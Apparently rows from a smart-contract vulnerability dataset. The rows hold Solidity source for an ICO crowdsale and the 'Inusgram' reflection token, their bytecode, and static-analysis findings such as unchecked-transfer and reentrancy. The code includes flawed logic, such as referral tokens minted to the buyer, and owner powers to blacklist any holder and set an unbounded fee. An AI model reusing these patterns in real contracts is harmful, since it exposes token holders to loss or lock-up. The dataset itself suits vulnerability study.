https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract NooToken is MintableToken { string public constant name = "Grow&Mine Token"; string public constant symbol = "GNM"; uint32 public constant decimals = 18; } contract NooCrowdsale is Ownable { using SafeMath for uint; NooToken public token = new NooToken(); // 0 - unknown // 1 - success // 2 - fail uint public status = 0; mapping(address => uint) public balances; uint public balanceTotal = 0; uint public start; uint8 public period; uint8 public periodLimit; uint public softcap; uint public hardcap; uint public rate; uint public minAmount; uint public restricted; function NooCrowdsale() public { start = 1521471600; // 19.03.2018T15:00:00.000Z period = 42; periodLimit = 75; softcap = 666 ether; // ~ $300000 hardcap = 4444 ether; // ~ $2000000 rate = 5555555555555556; // ~ $2.5 minAmount = 111111111111111120; // ~ $50 restricted = 13; // 3% bounty + 10% zp } function() external payable { createTokens(); } function createTokens() public checkAmount saleIsOn underHardcap payable { require(status != 2); uint tokens = msg.value.div(rate); uint bonusTokens = calcBonusTokens(tokens); mintAndTransfer(msg.sender, tokens + bonusTokens); balances[msg.sender] = balances[msg.sender].add(msg.value); balanceTotal = balanceTotal.add(msg.value); if (msg.data.length == 20) { address referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender && referer != address(0)); uint refererTokens = tokens.div(20); mintAndTransfer(msg.sender, refererTokens); } } function finishMinting() public onlyOwner saleFinished overSoftcap { require(status == 1 || (status != 2 && now < start + period * 1 days && balanceTotal < hardcap)); uint issuedTokenSupply = token.totalSupply(); uint restrictedTokens = issuedTokenSupply.mul(restricted).div(100 - restricted); mintAndTransfer(owner, restrictedTokens); token.finishMinting(); owner.transfer(this.balance); } function takeUpWork() public onlyOwner overSoftcap { require(status == 0); status = 1; } function refuseWork() public onlyOwner { require(status == 0); status = 2; } function takeEther(uint amount) public onlyOwner { require(status == 1); owner.transfer(amount); } function refund() public { require(status == 2 || (status != 1 && now > start + period * 1 days && balanceTotal < softcap)); require(balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } function calcBonusTokens(uint tokens) public view returns (uint) { uint delta = now - start; if (delta <= 7 days) { return tokens.div(10); } else if (delta <= 21 days) { return tokens.div(20); } return 0; } function expandPeriod(uint8 byDays) public onlyOwner { require(period + byDays <= periodLimit); period = period + byDays; } function mintAndTransfer(address receiver, uint amount) private { token.mint(this, amount); token.transfer(receiver, amount); } function bytesToAddress(bytes source) internal pure returns (address parsedReferer) { assembly { parsedReferer := mload(add(source, 0x14)) } return parsedReferer; } modifier overSoftcap() { require(balanceTotal >= softcap); _; } modifier underHardcap() { require(balanceTotal <= hardcap); _; } modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } modifier saleFinished() { require(now > start + period * 1 days); _; } modifier checkAmount() { require(msg.value >= minAmount); _; } }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631c3b3b9f14610132578063200d2ed21461015857806327e235e3146101815780632c4e722e146101ce57806342b8c415146101f7578063590e1ae31461022057806370320234146102355780637072c6b11461026c57806379c6c11a146102955780637d64bcb4146102b85780638da5cb5b146102cd578063929d2033146103225780639b2cb5d8146103375780639db0272114610360578063b071cbe614610375578063b44272631461039e578063be9a6555146103a8578063cf763d1c146103d1578063ef78d4fd14610400578063f2fde38b1461042f578063f89be59314610468578063fc0c546a14610491575b6101306104e6565b005b341561013d57600080fd5b610156600480803560ff16906020019091905050610720565b005b341561016357600080fd5b61016b6107df565b6040518082815260200191505060405180910390f35b341561018c57600080fd5b6101b8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107e5565b6040518082815260200191505060405180910390f35b34156101d957600080fd5b6101e16107fd565b6040518082815260200191505060405180910390f35b341561020257600080fd5b61020a610803565b6040518082815260200191505060405180910390f35b341561022b57600080fd5b610233610809565b005b341561024057600080fd5b610256600480803590602001909190505061097b565b6040518082815260200191505060405180910390f35b341561027757600080fd5b61027f6109de565b6040518082815260200191505060405180910390f35b34156102a057600080fd5b6102b660048080359060200190919050506109e4565b005b34156102c357600080fd5b6102cb610ab4565b005b34156102d857600080fd5b6102e0610dbb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561032d57600080fd5b610335610de0565b005b341561034257600080fd5b61034a610e69565b6040518082815260200191505060405180910390f35b341561036b57600080fd5b610373610e6f565b005b341561038057600080fd5b610388610ee4565b6040518082815260200191505060405180910390f35b6103a66104e6565b005b34156103b357600080fd5b6103bb610eea565b6040518082815260200191505060405180910390f35b34156103dc57600080fd5b6103e4610ef0565b604051808260ff1660ff16815260200191505060405180910390f35b341561040b57600080fd5b610413610f03565b604051808260ff1660ff16815260200191505060405180910390f35b341561043a57600080fd5b610466600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f16565b005b341561047357600080fd5b61047b61106b565b6040518082815260200191505060405180910390f35b341561049c57600080fd5b6104a4611071565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600080600a5434101515156104fd57600080fd5b6005544211801561052d575062015180600660009054906101000a900460ff1660ff160262ffffff166005540142105b151561053857600080fd5b6008546004541115151561054b57600080fd5b600280541415151561055c57600080fd5b6105716009543461109790919063ffffffff16565b935061057c8461097b565b925061058a338486016110b2565b6105dc34600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126e90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106343460045461126e90919063ffffffff16565b60048190555060146000369050141561071a576106836000368080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505061128c565b91503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156106ee5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15156106f957600080fd5b61070d60148561109790919063ffffffff16565b905061071933826110b2565b5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077b57600080fd5b600660019054906101000a900460ff1660ff1681600660009054906101000a900460ff160160ff16111515156107b057600080fd5b80600660009054906101000a900460ff1601600660006101000a81548160ff021916908360ff16021790555050565b60025481565b60036020528060005260406000206000915090505481565b60095481565b60045481565b60006002805414806108585750600160025414158015610848575062015180600660009054906101000a900460ff1660ff160262ffffff166005540142115b80156108575750600754600454105b5b151561086357600080fd5b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156108b157600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561097857600080fd5b50565b6000806005544203905062093a80811115156109ac576109a5600a8461109790919063ffffffff16565b91506109d8565b621baf80811115156109d3576109cc60148461109790919063ffffffff16565b91506109d8565b600091505b50919050565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3f57600080fd5b6001600254141515610a5057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ab157600080fd5b50565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1257600080fd5b62015180600660009054906101000a900460ff1660ff160262ffffff166005540142111515610b4057600080fd5b60075460045410151515610b5357600080fd5b60016002541480610ba057506002805414158015610b90575062015180600660009054906101000a900460ff1660ff160262ffffff166005540142105b8015610b9f5750600854600454105b5b1515610bab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610c3057600080fd5b5af11515610c3d57600080fd5b505050604051805190509150610c75600b54606403610c67600b548561129d90919063ffffffff16565b61109790919063ffffffff16565b9050610ca26000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826110b2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610d2757600080fd5b5af11515610d3457600080fd5b50505060405180519050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610db757600080fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3b57600080fd5b60075460045410151515610e4e57600080fd5b6000600254141515610e5f57600080fd5b6001600281905550565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eca57600080fd5b6000600254141515610edb57600080fd5b60028081905550565b60085481565b60055481565b600660019054906101000a900460ff1681565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082848115156110a557fe5b0490508091505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561117657600080fd5b5af1151561118357600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561125257600080fd5b5af1151561125f57600080fd5b50505060405180519050505050565b600080828401905083811015151561128257fe5b8091505092915050565b600060148201519050809050919050565b60008060008414156112b257600091506112d1565b82840290508284828115156112c357fe5b041415156112cd57fe5b8091505b50929150505600a165627a7a723058200035d4c812b4b196646b47abf249456d776fe2ed4a9fdb97ad862ffbb035783f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,586
0x51028e2daadc15c2c6da1d2c1e38394c2209bcbf
/** *Submitted for verification at Etherscan.io on 2022-03-28 */ // SPDX-License-Identifier: Unlicensed //https://t.me/inusgram pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Inusgram is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Inusgram"; string private constant _symbol = "Inusgram"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 3; uint256 private _taxFeeJeets = 9; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 33; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xF44bdB72f396cEcE7863bB33cE7d1C77D7A6DA6E); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 20 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 2e10 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initContract() external onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c8063715018a61161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610630578063e0f9f6a014610676578063ea1644d514610696578063f2fde38b146106b6578063fe72c3c1146106d657600080fd5b806395d89b41146102355780639ec350ed146105b05780639f131571146105d0578063a9059cbb146105f0578063c55284901461061057600080fd5b80637d1db4a5116100f25780637d1db4a5146105315780638203f5fe14610547578063881dce601461055c5780638da5cb5b1461057c5780638f9a55c01461059a57600080fd5b8063715018a6146104d157806374010ece146104e6578063790ca413146105065780637c519ffb1461051c57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104465780636b9cf534146104665780636d8aa8f81461047c5780636fc3eaec1461049c57806370a08231146104b157600080fd5b8063313ce567146103aa57806333251a0b146103c657806338eea22d146103e657806349bd5a5e146104065780634bf2c7c91461042657600080fd5b806318160ddd116101f857806318160ddd1461031657806323b872dd1461033c57806327c8f8351461035c57806328bb665a146103725780632fd689e31461039457600080fd5b806306fdde0314610235578063095ea7b3146102755780630f3a325f146102a55780631694505e146102de57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b506040805180820182526008815267496e75736772616d60c01b6020820152905161026c91906121e5565b60405180910390f35b34801561028157600080fd5b50610295610290366004612090565b6106ec565b604051901515815260200161026c565b3480156102b157600080fd5b506102956102c0366004611fdc565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ea57600080fd5b506019546102fe906001600160a01b031681565b6040516001600160a01b03909116815260200161026c565b34801561032257600080fd5b50683635c9adc5dea000005b60405190815260200161026c565b34801561034857600080fd5b5061029561035736600461204f565b610703565b34801561036857600080fd5b506102fe61dead81565b34801561037e57600080fd5b5061039261038d3660046120bc565b61076c565b005b3480156103a057600080fd5b5061032e601d5481565b3480156103b657600080fd5b506040516009815260200161026c565b3480156103d257600080fd5b506103926103e1366004611fdc565b61080b565b3480156103f257600080fd5b506103926104013660046121c3565b61087a565b34801561041257600080fd5b50601a546102fe906001600160a01b031681565b34801561043257600080fd5b506103926104413660046121aa565b6108cb565b34801561045257600080fd5b50610392610461366004611fdc565b6108fa565b34801561047257600080fd5b5061032e601e5481565b34801561048857600080fd5b50610392610497366004612188565b610954565b3480156104a857600080fd5b5061039261099c565b3480156104bd57600080fd5b5061032e6104cc366004611fdc565b6109c6565b3480156104dd57600080fd5b506103926109e8565b3480156104f257600080fd5b506103926105013660046121aa565b610a5c565b34801561051257600080fd5b5061032e600a5481565b34801561052857600080fd5b50610392610b00565b34801561053d57600080fd5b5061032e601b5481565b34801561055357600080fd5b50610392610b5a565b34801561056857600080fd5b506103926105773660046121aa565b610d3f565b34801561058857600080fd5b506000546001600160a01b03166102fe565b3480156105a657600080fd5b5061032e601c5481565b3480156105bc57600080fd5b506103926105cb3660046121c3565b610dbb565b3480156105dc57600080fd5b506103926105eb366004612188565b610e0c565b3480156105fc57600080fd5b5061029561060b366004612090565b610e54565b34801561061c57600080fd5b5061039261062b3660046121c3565b610e61565b34801561063c57600080fd5b5061032e61064b366004612016565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561068257600080fd5b506103926106913660046121aa565b610eb2565b3480156106a257600080fd5b506103926106b13660046121aa565b610efc565b3480156106c257600080fd5b506103926106d1366004611fdc565b610f3a565b3480156106e257600080fd5b5061032e60185481565b60006106f9338484611024565b5060015b92915050565b6000610710848484611148565b610762843361075d856040518060600160405280602881526020016123ea602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061186f565b611024565b5060019392505050565b6000546001600160a01b0316331461079f5760405162461bcd60e51b81526004016107969061223a565b60405180910390fd5b60005b8151811015610807576001600960008484815181106107c3576107c36123a8565b60209081029190910181015160